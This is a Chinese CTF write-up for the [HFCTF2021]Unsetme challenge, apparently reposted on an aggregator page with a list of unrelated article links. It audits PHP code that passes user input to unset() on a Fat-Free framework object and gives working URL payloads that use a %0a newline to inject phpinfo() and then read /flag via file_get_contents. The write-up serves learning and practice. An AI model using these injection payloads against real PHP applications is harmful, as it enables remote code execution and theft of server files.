当前位置: 首页 > news >正文

CTF-Web习题:[HFCTF2021]Unsetme

题目链接:[HFCTF2021]Unsetme

解题思路

打开靶场发现是一段PHP源码
在这里插入图片描述
做一下代码审阅:

<?php// Kickstart the framework
$f3=require('lib/base.php');//引入f3框架源码$f3->set('DEBUG',1);//f3对象设置DEBUG属性
if ((float)PCRE_VERSION<8.0)trigger_error('PCRE version is out of date');//判断PCRE版本highlight_file(__FILE__);//高亮显示源码
$a=$_GET['a'];//读取get方法的a参数的值
unset($f3->$a);//调用unset函数,去除f3对象中的$a属性$f3->run();//启动f3框架

代码审阅完成后可以发现,我们可以通过调试a的值,设置pyload绕过unset函数从而执行我们的php代码。

尝试编辑url:
http://f27b1769-8bf9-4c77-a499-59963112d705.node5.buuoj.cn:81/?a=a%0a);phpinfo(
发现植入成功
在这里插入图片描述
然后就可以构造payload尝试获取flag
http://f27b1769-8bf9-4c77-a499-59963112d705.node5.buuoj.cn:81/?a=a%0a);echo%20file_get_contents(%27/flag%27
在这里插入图片描述
获取成功~

知识补充

1)%0a编码含义及必要性

我在构造payload时,发现?a=a);phpinfo(不可以,但是?a=a%0a);phpinfo(可以,这是为什么?

答:%0a是换行符\n的url编码,如果不插入换行符,就是下面这种效果

unset($f3->a);phpinfo();

这会导致PHP解释器将整行的字符当作unset的参数处理,导致语法错误。如果插入换行符,变成这样:

unset($f3->a
);phpinfo();

换行符将代码拆分成多个语句,PHP解释器就会判定换行前参数参数接受完毕,从而成功执行后续代码。

2)常见flag存放位置

/flag
/etc/flag
/home/ctf/flag
/var/flag

本题就是在系统根目录下,即/flag处,日后的题目可以多试一下

3)常见payload特殊字符的url编码

' = %27
空格 = %20
\n = %0a

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • uniapp踩坑之项目:uni-table垂直居中和水平居中
  • 计算机视觉8 图像增广
  • VScode:前端项目中yarn包的安装和使用
  • 上位机图像处理和嵌入式模块部署(香橙派AI Pro开发板试用)
  • Windows FFmpeg 开发环境搭建
  • 将iPad 作为Windows电脑副屏的几种方法(二)
  • 《从C/C++到Java入门指南》- 15. Arrays.sort() JDK接口的使用
  • cmake configure_package_config_file指令详解
  • 【Django】网上蛋糕商城后台-商品管理
  • Linux C++ 058-设计模式之解释器模式
  • Perl 语言的特点
  • MyBatis中的优点和缺点?
  • Linux开发板上拷贝文件
  • ES6 数组的扩展(十六)
  • Python面试宝典第15题:岛屿数量
  • 【140天】尚学堂高淇Java300集视频精华笔记(86-87)
  • 【翻译】babel对TC39装饰器草案的实现
  • Angular数据绑定机制
  • gcc介绍及安装
  • Golang-长连接-状态推送
  • Hibernate【inverse和cascade属性】知识要点
  • Hibernate最全面试题
  • Invalidate和postInvalidate的区别
  • iOS 颜色设置看我就够了
  • JavaScript 一些 DOM 的知识点
  • SpiderData 2019年2月13日 DApp数据排行榜
  • Spring Boot快速入门(一):Hello Spring Boot
  • SQLServer插入数据
  • Tornado学习笔记(1)
  • webpack+react项目初体验——记录我的webpack环境配置
  • 当SetTimeout遇到了字符串
  • 构造函数(constructor)与原型链(prototype)关系
  • 聊聊flink的BlobWriter
  • 聊一聊前端的监控
  • 使用 Docker 部署 Spring Boot项目
  • 怎么把视频里的音乐提取出来
  • 自动记录MySQL慢查询快照脚本
  • MPAndroidChart 教程:Y轴 YAxis
  • 函数计算新功能-----支持C#函数
  • ​Z时代时尚SUV新宠:起亚赛图斯值不值得年轻人买?
  • ​你们这样子,耽误我的工作进度怎么办?
  • #QT(QCharts绘制曲线)
  • #我与Java虚拟机的故事#连载08:书读百遍其义自见
  • #职场发展#其他
  • (1)bark-ml
  • (1)Nginx简介和安装教程
  • (4) openssl rsa/pkey(查看私钥、从私钥中提取公钥、查看公钥)
  • (SpringBoot)第七章:SpringBoot日志文件
  • (附源码)spring boot车辆管理系统 毕业设计 031034
  • (附源码)ssm高校运动会管理系统 毕业设计 020419
  • (十六)视图变换 正交投影 透视投影
  • (十一)JAVA springboot ssm b2b2c多用户商城系统源码:服务网关Zuul高级篇
  • (转)总结使用Unity 3D优化游戏运行性能的经验
  • (转载)(官方)UE4--图像编程----着色器开发
  • ***利用Ms05002溢出找“肉鸡